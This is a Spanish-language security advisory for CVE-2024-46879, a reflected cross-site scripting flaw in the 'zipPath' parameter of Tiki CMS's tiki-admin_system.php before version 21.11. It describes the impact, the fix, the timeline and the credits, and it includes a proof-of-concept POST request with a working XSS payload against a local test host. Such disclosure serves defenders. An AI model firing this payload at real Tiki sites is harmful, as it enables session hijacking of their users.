CVE-2024-46879 - Vulnerabilidad de Cross-Site Scripting (XSS) Reflejado en Tiki CMS

Tiki CMS - Vulnerabilidad de Cross-Site Scripting (XSS) Reflejado en el parámetro 'zipPath'

Descargo de responsabilidad

Destinado únicamente a fines educativos, de investigación y defensivos. El uso no autorizado contra sistemas sin permiso es ilegal.

Resumen

Existe una vulnerabilidad de Cross-Site Scripting (XSS) Reflejado en los datos de la solicitud POST zipPath de tiki-admin_system.php en Tiki versiones anteriores a la versión 21.11. Esta vulnerabilidad permite a los atacantes ejecutar código JavaScript arbitrario mediante un payload manipulado, lo que puede llevar al acceso a información sensible o a acciones no autorizadas.

Producto(s) Afectado(s)

• Producto: Tiki CMS Groupware
• Versiones: anteriores a 21.11
• Componente: tiki-admin_system.php

Detalles de la vulnerabilidad

La vulnerabilidad se debe a una sanitización inadecuada de la entrada del parámetro zipPath en tiki-admin_system.php. La entrada proporcionada por el usuario se refleja en la respuesta HTTP sin la codificación suficiente, lo que permite la ejecución de JavaScript inyectado.

Impacto

Permite a un atacante autenticado ejecutar JavaScript arbitrario en el navegador de otro usuario mediante una solicitud manipulada, lo que podría provocar el secuestro de sesión o acciones no autorizadas.

Prueba de Concepto (PoC)

Solicitud

POST /tiki-admin_system.php HTTP/1.1
Referer: http://127.0.0.1:9080/ 
Cookie: wiki_plugin_edit_view=true; tabs=%40tabs_wikipages%3A2%40admin_look%3A2%40admin_general%3A3; show_details=n; preview=%40preview_diff_style%3A; local_tz=Asia%2FCalcutta; javascript_enabled=y; PHPSESSID=120ab2736ae548eda9efcd2c862ac76c; PHPSESSIDCV=JHSjEwiO2tLPDG5yIJ2DQw%3D%3D
Host: 127.0.0.1:9080 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15 
Accept: */* 
Content-Length: 94
Content-Type: application/x-www-form-urlencoded 

zipPath=%22'%3E<div%20on<svg/onmouseover="alert(document.domain)">Coldfx</div>"%20/%3E&zip=1

Remedición

El problema se ha solucionado en Tiki CMS Groupware versión 21.11. Se recomienda a los usuarios actualizar a esta versión o a una posterior con el parche.

Referencia del proveedor: https://tiki.org/article515-New-Security-Update-Released-for-Tiki-21-x-LTS-and-Upgrade-is-Strongly-Recommended

Cronología

• Reportado al proveedor: 5 de septiembre de 2024
• Confirmación del proveedor: 16 de septiembre de 2024
• Corregido en la versión 21.11: 3 de enero de 2025
• Divulgación pública (a través de este repositorio): 23 de marzo de 2026

Créditos

• Sheela Sarva, Qualys
• Mayank Deshmukh, Qualys

Referencia

• https://www.cve.org/CVERecord?id=CVE-2024-46879
• https://tiki.org/article515-New-Security-Update-Released-for-Tiki-21-x-LTS-and-Upgrade-is-Strongly-Recommended